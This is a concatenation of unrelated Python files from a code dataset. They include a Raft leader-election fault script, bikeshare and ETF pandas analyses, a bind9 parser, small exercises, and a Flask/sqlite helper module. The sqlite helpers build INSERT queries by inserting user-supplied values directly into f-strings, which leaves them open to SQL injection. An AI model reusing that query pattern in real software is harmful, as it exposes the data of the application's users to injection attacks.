ControlMessageTypes.I_AM_LEADER, quorum, i,\n DEFAULT_TIMEOUT * 10)\n if message.messageType == MessageTypes.REJECT_NEW_LEADER:\n state = ServerStates.FOLLOWER\n currentleaderNode = None\n print(\"------Other nodes rejected my leadership in term \", term_number, \"------\")\n flag = 1\n break\n\n if flag ==0:\n state = ServerStates.LEADER\n currentleaderNode = thisNode\n print(\"------I am the leader for term \", term_number, \"------\")\n\n else:\n print(\"You cannot become leader\")\n state = ServerStates.FOLLOWER\n\n voting_lock.release()\n\ndef heartbeat_routine():\n global state\n\n while 1:\n if (state == ServerStates.LEADER):\n for server in acc_Table:\n message = send_ctrl_message_with_ACK(thisNode, ControlMessageTypes.HEARTBEAT, term_number, server,\n DEFAULT_TIMEOUT * 10)\n #good value\n time.sleep(5)\n\n #bad value\n #time.sleep(13)\n\n\ndef display_state_of_server():\n global state\n global currentleaderNode\n while 1:\n if(state == ServerStates.FOLLOWER):\n print(\"My state is : Follower\")\n elif(state == ServerStates.LEADER):\n print(\"My state is : Leader\")\n else:\n print(\"My state is : Candidate\")\n\n if state==ServerStates.FOLLOWER:\n if currentleaderNode != None:\n print(\"My Leader is :\"+ currentleaderNode.IPAddr)\n\n if len(acc_Table)<=2:\n state = ServerStates.FOLLOWER\n currentleaderNode = None\n\n print(\"Number of nodes in the system:\",len(acc_Table))\n\n time.sleep(30)\n\ndef leader_timeout_routine():\n global seconds\n while 1:\n #if (state == ServerStates.FOLLOWER and currentleaderNode!=None) or (state == ServerStates.CANDIDATE and currentleaderNode!=None):\n if state == ServerStates.FOLLOWER or state == ServerStates.CANDIDATE:\n print(\"STARTING ELECTION\")\n start_leader_election()\n\n\n\ndef main():\n global thisNode\n global acc_Table\n global drop_table\n global log\n global state\n\n\n parser = OptionParser(usage=\"usage: %prog [options] filename\",\n version=\"%prog 1.0\")\n parser.add_option(\"-e\", \"--existingnode\",\n action=\"store\",\n type=\"string\",\n dest=\"existingnode\",\n help=\"Use an existing node to join an existing network.\")\n parser.add_option(\"-p\", \"--myIP\",\n action=\"store\",\n type=\"string\",\n dest=\"myIP\",\n help=\"IP of service.\")\n\n (options, args) = parser.parse_args()\n\n if options.myIP is None:\n print (\"Please specify the IP with the -p option.\")\n exit(0)\n\n thisNode.IPAddr = options.myIP\n\n if options.existingnode is not None:\n tmpNode = Node()\n tmpNode.IPAddr = options.existingnode\n join_network(tmpNode)\n\n\n print(\"MY IP ADDRESS IS \", thisNode.IPAddr)\n\n listenCtrlThread = Thread(target=wait_for_ctrl_connections, args=(thisNode, handle_ctrl_connection))\n listenCtrlThread.daemon = True\n listenCtrlThread.start()\n print (\"Sleeping for 1 seconds while listening threads are created.\")\n time.sleep(1)\n\n stabilizer = Thread(target=stabilization_routine)\n stabilizer.daemon = True\n stabilizer.start()\n\n stabilizer = Thread(target=heartbeat_routine)\n stabilizer.daemon = True\n stabilizer.start()\n\n display_State_Routine = Thread(target=display_state_of_server)\n display_State_Routine.daemon = True\n display_State_Routine.start()\n\n leader_timeout = Thread(target=leader_timeout_routine)\n leader_timeout.daemon = True\n leader_timeout.start()\n\n # Wait forever\n while 1:\n # The threads should never die\n listenCtrlThread.join(1)\n '''print(\"\\nOptions:\\n\")\n print(\"Press 1 to start leader election\\n\")\n print(\"Press 2 to print log status\\n\")'''\n\n j = input(\"\")\n\n #if (j == \"1\"):\n # start_leader_election()\n\n\n if j==\"2\" :\n for i in log:\n print(i)\n\n else:\n print(\"Incorrect Input\")\n\n return 0\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Dependable-and-Resilient-Computing/PBFTRaft/repeated_election_triggering.py","file_name":"repeated_election_triggering.py","file_ext":"py","file_size_in_byte":29413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"139737299","text":"import time\nimport pandas as pd\nimport numpy as np\n\npd.set_option('display.max_columns', 500)\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n\ncity_options = list(CITY_DATA.keys())\ntimefilter_options = ['month', 'day', 'both', 'none']\nmonth_options = ['january', 'february', 'march', 'april', 'may', 'june', 'all']\nday_options = ['monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday', 'all']\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n\n print('Hello! Let\\'s explore some US bikeshare data!')\n # get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n # get user input for month (all, january, february, ... , june)\n # get user input for day of week (all, monday, tuesday, ... sunday)\n while True:\n try:\n city = city_options[city_options.index(input('\\nPlease enter the city (Chicago, New York City or Washington) you would like to analyse: ').lower())]\n timefilter = timefilter_options[timefilter_options.index(input('\\nWould you like to filter the data by month, day, both, or not at all? Type \"none\" for no time filter: ').lower())]\n if timefilter == 'month':\n month = month_options[month_options.index(input('\\nPlease enter the month (January, ..., June) you want to filter by: ').lower())]\n day = day_options[day_options.index('all')]\n break\n elif timefilter == 'day':\n month = month_options[month_options.index('all')]\n day = day_options[day_options.index(input('\\nPlease enter the day (Monday, ..., Sunday) you want to filter by: ').lower())]\n break\n elif timefilter == 'both':\n month = month_options[month_options.index(input('\\nPlease enter the month (January, ..., June) you want to filter by: ').lower())]\n day = day_options[day_options.index(input('\\nPlease enter the day (Monday, ..., Sunday) you want to filter by: ').lower())]\n break\n elif timefilter == 'none':\n month = month_options[month_options.index('all')]\n day = day_options[day_options.index('all')]\n break\n\n except ValueError:\n print(\"\\nWe detected a flaw (e.g. misspelling, input not in data base). Please enter the input again: \")\n\n\n print('-'*40)\n print(\"Your selected filters:\\ncity filter: \", city.title(), \"\\nmonth filter: \", month.title(), \"\\nday filter: \", day.title())\n return city, month, day\n\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n\n # load data file into a dataframe\n df = pd.read_csv(CITY_DATA[city])\n\n # convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n # extract month, day of week and start hour from Start Time to create new columns\n df['month'] = df['Start Time'].dt.month\n df['day_of_week'] = df['Start Time'].dt.weekday_name\n df['hour'] = df['Start Time'].dt.hour\n\n # filter by month if applicable\n if month != 'all':\n # use the index of the months list to get the corresponding int\n months = ['january', 'february', 'march', 'april', 'may', 'june']\n month = months.index(month) + 1\n\n # filter by month to create the new dataframe\n df = df[df['month'] == month]\n\n # filter by day of week if applicable\n if day != 'all':\n # filter by day of week to create the new dataframe\n df = df[df['day_of_week'] == day.title()]\n\n return df\n\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n\n # display the most common month\n mode_month = df['month'].mode()[0]\n print('The most popular month is:', month_options[mode_month - 1].title())\n\n # display the most common day of week\n mode_weekday = df['day_of_week'].mode()[0]\n print('The most popular day of week is:', mode_weekday)\n\n # display the most common start hour\n mode_start_hour = df['hour'].mode()[0]\n print('The most popular starting time is: {}:00'.format(mode_start_hour))\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n # display most commonly used start station\n mode_start = df['Start Station'].mode()[0]\n print('The most commonly used start station is:', mode_start)\n\n # display most commonly used end station\n mode_end = df['End Station'].mode()[0]\n print('The most commonly used end station is:', mode_end)\n\n # display most frequent combination of start station and end station trip\n df['Start and End Station'] = df['Start Station'] + ' + ' + df['End Station']\n mode_start_end = df['Start and End Station'].mode()[0]\n print('The most frequent combination of start station and end station trip is:', mode_start_end)\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n total_travel_time = df['Trip Duration'].sum()\n mean_travel_time = df['Trip Duration'].mean()\n\n def conversion(time):\n \"\"\"\n Convert the input from seconds to the time format HH:MM:SS\n\n Args:\n (int) time - value in seconds to convert to HH:MM:SS\n\n \"\"\"\n a=str(time//3600)\n b=str((time%3600)//60)\n c=str((time%3600)%60)\n d=[\"{} hours {} mins {} seconds\".format(a, b, c)]\n return d\n\n # display total travel time\n print('\\nThe TOTAL travel time for the selected data frame was: {}'.format(conversion(total_travel_time)))\n\n # display mean travel time\n print('\\nThe AVERAGE travel time for the selected data frame was: {}'.format(conversion(mean_travel_time)))\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef user_stats(df, city):\n \"\"\"\n Displays statistics on bikeshare users regarding the counts of user types.\n If the city is either Chicago or New York City, additionally display statistics regarding\n gender as well as birthday.\n \"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n\n # Display counts of user types\n user_count = df['User Type'].value_counts()\n print('Counts of User Types\\n',user_count)\n\n if city != 'washington':\n\n # Display counts of gender\n gender_count = df['Gender'].value_counts()\n print('\\nCounts of Gender\\n',gender_count)\n\n # Display earliest, most recent, and most common year of birth\n earliest_birth = df['Birth Year'].min()\n recent_birth = df['Birth Year'].max()\n common_birth = df['Birth Year'].mode()[0]\n print('\\nYear of Birth Statistics\\nEarlieset: {}\\nMost Recent: {}\\nMost Common: {}'.format(earliest_birth, recent_birth, common_birth))\n\n else:\n print('\\nThere are no statistics on Gender and Birth Year available for Washington.')\n\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\ndef individual_data(df):\n \"\"\"\n Displays the items of the first 5 rows of the data frame defined by the get_filters function.\n Asks if the user wants to see 5 more rows of data until the input is \"no\".\n \"\"\"\n\n count = 0\n while True:\n print(df[count:(count+5)])\n count += 5\n restart = input('\\nWould you like to see five more rows of individual data? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\ndef main():\n \"\"\"Define main function to have a starting point and to call other functions.\"\"\"\n\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df, city)\n individual_data(df)\n\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare_2.py","file_name":"bikeshare_2.py","file_ext":"py","file_size_in_byte":9138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"419772860","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/bind9_parser/isc_clause_key.py\n# Compiled at: 2019-11-22 14:48:29\n\"\"\"\nFile: isc_clause_key.py\n\nClause: keys\n\nTitle: Clause statement for key\n\nDescription: Provides key-related grammar in PyParsing engine\n for ISC-configuration style\n\"\"\"\nfrom pyparsing import Word, alphanums, Group, Keyword, ZeroOrMore\nfrom bind9_parser.isc_utils import semicolon, lbrack, rbrack, key_id, key_secret\nkey_algorithm_name = Word(alphanums + '-')('algorithm')\nkey_algorithm_name.setName('')\nkey_algorithm_element = Keyword('algorithm').suppress() - key_algorithm_name('algorithm') + semicolon\nkey_algorithm_element.setName('algorithm ;')\nkey_secret_element = Keyword('secret').suppress() - key_secret('secret') + semicolon\nkey_secret_element.setName('secret ;')\nclause_stmt_key_standalone = (Keyword('key').suppress() - Group(key_id('key_id') + lbrack - key_algorithm_element - key_secret_element + rbrack) + semicolon)('key')\nclause_stmt_key_series = ZeroOrMore(clause_stmt_key_standalone)('key')\nclause_stmt_key_series.setName('key { algorithm ; secret ; };')","sub_path":"pycfiles/bind9_parser-0.9.8-py2.7/isc_clause_key.py","file_name":"isc_clause_key.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"274913327","text":"\nBLUE = (0,0,255)\nBLACK = (0,0,0)\nRED = (255,0,0)\nYELLOW = (255,255,0)\nWHITE = (255,255,255)\n\nclass TicTacToeModel:\n def __init__(self, needToWin, GRID_SIZE,player1=0,player2=0):\n self.NEED_TO_WIN = needToWin\n self.GRID_SIZE = GRID_SIZE\n self.players = [player1,player2]\n self.N = 0\n \n def create_board(self):\n n = self.GRID_SIZE\n return [[0] * n for i in range(n)]\n\n def check_line(self,board,player,i,j,x,y,howmany=-1):\n if(howmany==-1):\n howmany = self.NEED_TO_WIN\n if(i+(howmany-1)*x < 0 or i+(howmany-1)*x>=self.GRID_SIZE):\n return 0\n if(j+(howmany-1)*y < 0 or j+(howmany-1)*y>=self.GRID_SIZE):\n return 0\n \n flag = 1\n for q in range(howmany):\n if(board[i+q*x][j+q*y]!=player):\n flag = 0\n return flag\n\n def win(self, board, player):\n all = 0\n for i in range(self.GRID_SIZE):\n for j in range(self.GRID_SIZE):\n if( self.check_line(board,player,i,j,0,1)): \n all+=1\n elif( self.check_line(board,player,i,j,1,0)): \n all+=1\n elif( self.check_line(board,player,i,j,1,1)): \n all+=1\n elif( self.check_line(board,player,i,j,1,-1)): \n all+=1\n return (all>0)\n\n def gameover(self,board):\n flag = 1\n for i in range(self.GRID_SIZE):\n for j in range(self.GRID_SIZE):\n if(board[i][j]==0):\n flag = 0\n \n return self.win(board, 1) or self.win(board, -1) or flag\n\n def tryMakingAMove(self,board,next,turn):\n i = next//self.GRID_SIZE\n j = next%self.GRID_SIZE\n if(board[i][j] == 0):\n board[i][j] = turn\n self.N += 1\n return 1\n else:\n print('Already occupied!')\n return 0","sub_path":"src/Model/TicTacToeModel.py","file_name":"TicTacToeModel.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"436537044","text":"def selection_sort(list1):\n for i in range(n): \n mini = i\n for j in range(i+1, n): \n if list1[mini] > list1[j]:\n mini = j\n list1[i],list1[mini]=list1[mini],list1[i]\n print(list1)\n\nn = int(input(\"Enter number of elements \")) \nlist1 = [] \nprint(\"Enter elements of list \")\nfor i in range(n):\n e = int(input())\n list1.append(e) \nselection_sort(list1) \nprint(list1)\n","sub_path":"SelectionSort.py","file_name":"SelectionSort.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"433080962","text":"import colorlog\nimport logging.config\n\nLOG_LEVEL = 'DEBUG'\n\nlogging.config.dictConfig({\n 'version': 1,\n 'formatters': {\n 'simple': {\n 'class': 'colorlog.ColoredFormatter',\n 'format': '%(log_color)s%(levelname)s:%(name)s:%(message)s'\n },\n },\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n 'level': f'{LOG_LEVEL}',\n 'formatter': 'simple',\n },\n },\n 'root': {\n 'level': 'INFO',\n 'handlers': ['console'],\n },\n 'loggers': {\n 'zmqpc': {\n 'level': f'{LOG_LEVEL}',\n 'handlers': ['console'],\n 'propagate': False,\n },\n }\n})\n","sub_path":"examples/resources/logging_config.py","file_name":"logging_config.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"400606929","text":"from django.conf.urls import patterns, url \nfrom graph import views \n\nurlpatterns = patterns('', \n # The home view ('/graph/') \n url(r'^$', views.home, name='home'), \n # Explicit home ('/graph/home/') \n url(r'^home/$', views.home, name='home'),\n # Redirect to get token ('/graph/gettoken/')\n url(r'^gettoken/$', views.gettoken, name='gettoken'),\n # Me view ('/graph/me/')>\n url(r'^me/$', views.me, name='me'),\n # Mail view ('/graph/mail/')>\n url(r'^mail/$', views.mail, name='mail'),\n # Files view ('/graph/files/')>\n url(r'^files/$', views.files, name='files'),\n)\n","sub_path":"graph/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"596163907","text":"import pandas as pd\nimport numpy as np\nimport datetime\nimport pandas_datareader as pdr\nimport quandl\nimport csv\nimport yfinance as yf\nimport investpy \n\n\ncon_df = investpy.get_etf_historical_data(\n etf='Consumer Discretionary Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\ncon_df = con_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(con_df.tail())\n\nfin_df = investpy.get_etf_historical_data(\n etf='Financial Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\nfin_df = fin_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(fin_df.tail())\n\nhealth_df = investpy.get_etf_historical_data(\n etf='Health Care Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\nhealth_df = health_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(health_df.tail())\n\ntech_df = investpy.get_etf_historical_data(\n etf='Technology Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\ntech_df = tech_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(tech_df.tail())\n\nconsumerstaples_df = investpy.get_etf_historical_data(\n etf='Consumer Staples Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\nconsumerstaples_df = consumerstaples_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(consumerstaples_df.tail())\n\nindustrial_df = investpy.get_etf_historical_data(\n etf='Industrial Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\nindustrial_df = industrial_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(industrial_df.tail())\n\nmaterial_df = investpy.get_etf_historical_data(\n etf='Materials Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\nmaterial_df = material_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(material_df.tail())\n\nenergy_df = investpy.get_etf_historical_data(\n etf='Energy Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\nenergy_df = energy_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(energy_df.tail())\n\nutilities_df = investpy.get_etf_historical_data(\n etf='Utilities Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\nutilities_df = utilities_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(utilities_df.tail())\n\nrealestate_df = investpy.get_etf_historical_data(\n etf='Real Estate Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\nrealestate_df = realestate_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(realestate_df.tail())\n\ncommun_df = investpy.get_etf_historical_data(\n etf='Communication Services Select Sector SPDR',\n country='United States',\n from_date='01/01/2012',\n to_date='12/01/2030')\ncommun_df = commun_df.drop(['Open', 'High', 'Low', 'Volume', 'Currency', 'Exchange'], axis=1) \n# print(commun_df.tail())\n\nsp_df = pdr.get_data_yahoo(\n \"SPY\",\n start='2012-01-01', \n end='2030-12-01')\nsp_df = sp_df.drop(['Open', 'High', 'Low', 'Volume', 'Adj Close'], axis=1)\n\n# Merging all the dataframes\netf_df = pd.merge(con_df, fin_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, health_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, tech_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, consumerstaples_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, industrial_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, material_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, energy_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, utilities_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, realestate_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, commun_df, left_index=True, right_index=True)\netf_df = pd.merge(etf_df, sp_df, left_index=True, right_index=True)\n\netf_df.columns = ['ConsumerDiscretionary(XLY)', 'Financial(XLF)', 'Health(XLV)','Tech(XLK)', 'ConsumerStaples(XLP)', 'Industrial(XLI)', 'Material(XLB)', 'Energy(XLE)', 'Utilities(XLU)', 'RealEstate(XLRE)', 'Communications(XLC)', 'SPY']\n# print(etf_df.head())\n# print(etf_df.tail())\n\netf_pct_chg = (etf_df - etf_df.shift(1))/etf_df.shift(1) * 100\netf_pct_chg = etf_pct_chg.tail(1)\n# print(etf_pct_chg.tail(1))\n\netf_pct_chg_m = (etf_df - etf_df.shift(21))/etf_df.shift(21) * 100\netf_pct_chg_m = etf_pct_chg_m.tail(1)\n# print(etf_pct_chg_m.tail(1))\n\netf_pct_chg_q = (etf_df - etf_df.shift(63))/etf_df.shift(63) * 100\netf_pct_chg_q = etf_pct_chg_q.tail(1)\n# print(etf_pct_chg_q.tail(1))\n\netf_pct_chg_y = (etf_df - etf_df.shift(252))/etf_df.shift(252) * 100\netf_pct_chg_y = etf_pct_chg_y.tail(1)\n# print(etf_pct_chg_y.tail(1))\n\n\nframes = [etf_pct_chg, etf_pct_chg_m, etf_pct_chg_q, etf_pct_chg_y]\n\netf_pctchanges = pd.concat(frames)\netf_current_price = etf_df.tail(1)\n\nframe1 = [etf_current_price, etf_pctchanges]\netf_table = pd.concat(frame1)\netf_table.index = ['Price', 'D% Chg', 'M% Chg', 'Q% Chg', 'YTD% Chg']\n\n\netf_tidy = etf_table.T\netf_tidy = etf_tidy.round(2)\nprint(etf_tidy)\n","sub_path":"fred/etf.py","file_name":"etf.py","file_ext":"py","file_size_in_byte":5623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"66186182","text":"class Fighter(object):\n def __init__(self, name, health, damage_per_attack):\n self.name = name\n self.health = health\n self.damage_per_attack = damage_per_attack\n\ndef declare_winner(fighter1, fighter2, first_attacker):\n\n\tif (fighter1.health == 0 or fighter1.health < 0):\n\t\treturn fighter2.name\n\telif (fighter2.health == 0 or fighter2.health < 0):\n\t\treturn fighter1.name\n\n\twhile(fighter1.health > 0 and fighter2.health > 0):\n\t\tif first_attacker == fighter1.name:\n\t\t\tnewHealth = fighter2.health - fighter1.damage_per_attack\n\t\t\tif newHealth > 0:\n\t\t\t\treturn declare_winner(Fighter(fighter1.name, fighter1.health, fighter1.damage_per_attack), Fighter(fighter2.name, newHealth, fighter2.damage_per_attack), fighter2.name)\n\t\t\telse:\n\t\t\t\treturn fighter1.name\n\t\t\t\tbreak\n\t\telse:\n\t\t\tnewHealth = fighter1.health - fighter2.damage_per_attack\n\t\t\tif newHealth > 0:\n\t\t\t\treturn declare_winner(Fighter(fighter1.name, newHealth, fighter1.damage_per_attack), Fighter(fighter2.name, fighter2.health, fighter2.damage_per_attack), fighter1.name)\n\t\t\telse:\n\t\t\t\treturn fighter2.name\n\t\t\t\tbreak\n","sub_path":"Python/kata43.py","file_name":"kata43.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"12115367","text":"#!/usr/bin/env python3.6\nfrom datetime import datetime, timedelta\nfrom tabulate import tabulate\nimport argparse\nimport json\nimport os\nimport sys\nimport time\n\n\nPRESERVE_WHITESPACE = True # Stops tabulate stripping whitespace from data\nJSON_FILEPATH = \"/home/ernie/json/jsonrota.json\"\nFORMATS = [\"grid\", \"fancy_grid\", \"orgtabl\", \"psql\", \"rst\"]\nTABLE_FMT = \"fancy_grid\"\n\n\nclass Pyrota:\n\n def __init__(self, day=None, all_=None, date=None, today=None, tmrw=None):\n self.day = day\n self.all_ = all_\n self.date = date\n self.today = today\n self.tmrw = tmrw\n\n with open(JSON_FILEPATH, \"r\") as f:\n self.json_data = json.load(f)\n\n self.argument = [var[1] for var in vars(self).items() if var[1]][0]\n self.get_shifts()\n\n def get_shifts(self):\n ''' Parse the JSON for shifts specified by self.arg, print them '''\n try:\n if self.all_:\n table = self.json_data\n else:\n table = [[date, shift] for (date, shift) in self.json_data\n if self.argument.lower() in date.lower()]\n\n if not table:\n print(\"Data not found!\")\n sys.exit()\n\n except IndexError:\n print(\"Invalid argument!\")\n\n print(tabulate(table, [\"DATE\", \"SHIFT\"], tablefmt=TABLE_FMT,\n stralign=\"center\"))\n\n\nparser = argparse.ArgumentParser(prog=\"rota_json_new.py\",\n description=\"Reads json-ified rota file. \"\n \"Allows printing of shifts by \"\n \"day, current date, tomorrow's \"\n \"date, or just all of them.\")\n\nparser.add_argument(\"-a\", \"--all\",\n help=\"show all shifts\",\n action=\"store_true\")\nparser.add_argument(\"-d\", \"--day\", type=str,\n choices=[\"mo\", \"tu\", \"we\",\n \"th\", \"fr\", \"sa\", \"su\"],\n help=\"show shifts for given day\")\nparser.add_argument(\"-D\", \"--date\", type=str,\n help=\"show shift for a given day\")\nparser.add_argument(\"-to\", \"--today\",\n help=\"show today's shift\",\n action=\"store_true\")\nparser.add_argument(\"-tm\", \"--tomorrow\",\n help=\"show tomorrow's shift\",\n action=\"store_true\")\nparser.add_argument(\"-sc\", \"--scraped\",\n help=\"get datetime rota was scraped\",\n action=\"store_true\")\nparser.add_argument(\"-F\", \"--formats\",\n help=\"display available table formats\",\n action=\"store_true\")\nparser.add_argument(\"format\", choices=FORMATS,\n help=\"choose format for the table\",\n default=TABLE_FMT,\n nargs=\"?\", action=\"store\")\n\nargs = parser.parse_args()\n\nif args.format:\n TABLE_FMT = args.format\n\nif args.all:\n r = Pyrota(all_=True)\nelif args.today:\n now_str = datetime.now().strftime(\"%a %d\")\n r = Pyrota(today=now_str)\nelif args.tomorrow:\n now = datetime.now()\n tmrw_str = (now + timedelta(days=1)).strftime(\"%a %d\")\n r = Pyrota(tmrw=tmrw_str)\nelif args.day:\n r = Pyrota(day=args.day)\nelif args.date:\n if len(args.date) == 1:\n r = Pyrota(date = \"0\" + args.date)\n else:\n r = Pyrota(date=args.date)\nelif args.scraped:\n m_time = os.stat(Pyrota.json_filepath)[8]\n\n print(time.strftime(\"%d-%m-%Y -- %H:%M:%S\",\n time.localtime(m_time)))\nelif args.formats:\n print(\"Available formats: \\n\")\n print(\" \" + str(FORMATS) + '\\n')\nelse:\n pass\n\n\n","sub_path":"rota_json_new.py","file_name":"rota_json_new.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"632487553","text":"\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom flask import render_template\nimport numpy as np\t\nfrom datetime import datetime\nimport glob\nimport os\nimport sqlite3 \n\n\ndef insert_product_customer(id,lista): \n try:\n conn = connection_db()\n conn.row_factory = sqlite3.Row\n c = conn.cursor()\n for ids in lista:\n c.execute(f\"\"\"insert into custom_prod(product_id, customer_id) \n values ({ids},{id})\"\"\")\n print(\"insertado\") \n conn.commit()\n except Exception as e:\n print(e)\n finally:\n conn.close() \n\ndef get_product_cust(id):\n try:\n conn = connection_db()\n conn.row_factory = sqlite3.Row\n c = conn.cursor()\n sentencia = \"select c.id as idcliente, p.id, p.nombre as producto \" \\\n +\"from custom_prod AS cp left join customer as c on \" \\\n +\"c.id = cp.customer_id left join producto as p \" \\\n +\"on cp.product_id = p.id where c.id = ?;\"\n c.execute(sentencia, [id])\n rows_prod_cust = c.fetchall()\n return rows_prod_cust\n except Exception as e:\n print(e)\n finally: \n conn.close()\n\ndef get_product_p(id):\n try:\n conn = connection_db()\n conn.row_factory = sqlite3.Row\n c = conn.cursor()\n sentencia = \"SELECT id,nombre FROM producto WHERE id NOT IN (\" \\\n +\"SELECT product_id FROM custom_prod WHERE customer_id = ?)\"\n c.execute(sentencia, [id])\n rows_rest = c.fetchall()\n return rows_rest\n except Exception as e:\n print(e)\n finally: \n conn.close() \n\ndef get_data_cp():\n try:\n conn = connection_db()\n conn.row_factory = sqlite3.Row\n c = conn.cursor()\n c.execute(\"select c.nombre as cliente, p.nombre as producto \" \\\n +\"from custom_prod AS cp left join customer as c \" \\\n +\"on c.id = cp.customer_id left join producto as p \" \\\n +\"on cp.product_id = p.id\")\n row_cp = c.fetchall()\n return render_template(\"assignation.html\",rows = row_cp)\n\n except Exception as e:\n print(e)\n finally: \n conn.close()\n\ndef insert(dictionary):\n try:\n conn = connection_db()\n c = conn.cursor()\n nombre = dictionary['name2']\n descripcion = dictionary['descrip2']\n cantidad = dictionary['cant2']\n c.execute(f\"\"\"INSERT INTO producto(nombre,descripcion,cantidad) \n values ('{nombre}','{descripcion}',{cantidad})\"\"\")\n conn.commit()\n \n except Exception as e:\n print(e)\n finally:\n conn.close()\n \n return render_template(\"view.html\")\n\n\ndef insert2(dictionary2):\n try:\n conn = connection_db()\n c = conn.cursor()\n nombre = dictionary2['name1'] 